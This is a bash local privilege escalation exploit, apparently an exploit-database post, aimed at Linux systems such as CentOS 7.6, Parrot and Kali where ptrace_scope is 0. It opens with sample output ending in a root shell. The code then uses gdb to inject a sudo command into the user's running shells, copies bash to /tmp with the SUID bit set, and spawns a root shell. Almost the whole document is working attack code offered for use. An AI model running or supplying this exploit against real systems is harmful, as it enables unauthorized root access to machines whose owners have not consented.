CentOS 7.6 ptrace_scope Privlege Escalation

`#!/usr/bin/env bash  
  
#######################################################  
# #  
# 'ptrace_scope' misconfiguration #  
# Local Privilege Escalation #  
# #  
#######################################################  
  
# Affected operating systems (TESTED):  
# Parrot Home/Workstation 4.6 (Latest Version)  
# Parrot Security 4.6 (Latest Version)  
# CentOS / RedHat 7.6 (Latest Version)  
# Kali Linux 2018.4 (Latest Version)  
  
# Authors: Marcelo Vazquez (s4vitar)  
# Victor Lasa (vowkin)  
  
#┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc]  
#└──╼ $./exploit.sh  
#  
#[*] Checking if 'ptrace_scope' is set to 0... [√]  
#[*] Checking if 'GDB' is installed... [√]  
#[*] System seems vulnerable! [√]  
#  
#[*] Starting attack...  
#[*] PID -> sh  
#[*] Path 824: /home/s4vitar  
#[*] PID -> bash  
#[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc  
#[*] PID -> sh  
#[*] Path  
#[*] PID -> sh  
#[*] Path  
#[*] PID -> sh  
#[*] Path  
#[*] PID -> sh  
#[*] Path  
#[*] PID -> bash  
#[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc  
#[*] PID -> bash  
#[*] Path 1842: /home/s4vitar  
#[*] PID -> bash  
#[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc  
#[*] PID -> bash  
#[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc  
#  
#[*] Cleaning up... [√]  
#[*] Spawning root shell... [√]  
#  
#bash-4.4# whoami  
#root  
#bash-4.4# id  
#uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar)  
#bash-4.4#  
  
  
function startAttack(){  
tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do  
if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then  
echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null)  
echo "[*] Path $(pwdx $shell_pid 2>/dev/null)"  
fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1  
done  
  
if [ -f /tmp/bash ]; then  
/tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..."  
rm /tmp/bash  
echo -e " [√]"  
echo -ne "[*] Spawning root shell..."  
echo -e " [√]\n"  
tput cnorm && bash -p'  
else  
echo -e "\n[*] Could not copy SUID to /tmp/bash [✗]"  
fi  
}  
  
echo -ne "[*] Checking if 'ptrace_scope' is set to 0..."  
if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then  
echo " [√]"  
echo -ne "[*] Checking if 'GDB' is installed..."  
if command -v gdb >/dev/null 2>&1; then  
echo -e " [√]"  
echo -e "[*] System seems vulnerable! [√]\n"  
echo -e "[*] Starting attack..."  
  
startAttack  
  
else  
echo " [✗]"  
echo "[*] System is NOT vulnerable :( [✗]"  
fi  
else  
echo " [✗]"  
echo "[*] System is NOT vulnerable :( [✗]"  
fi; tput cnorm  
`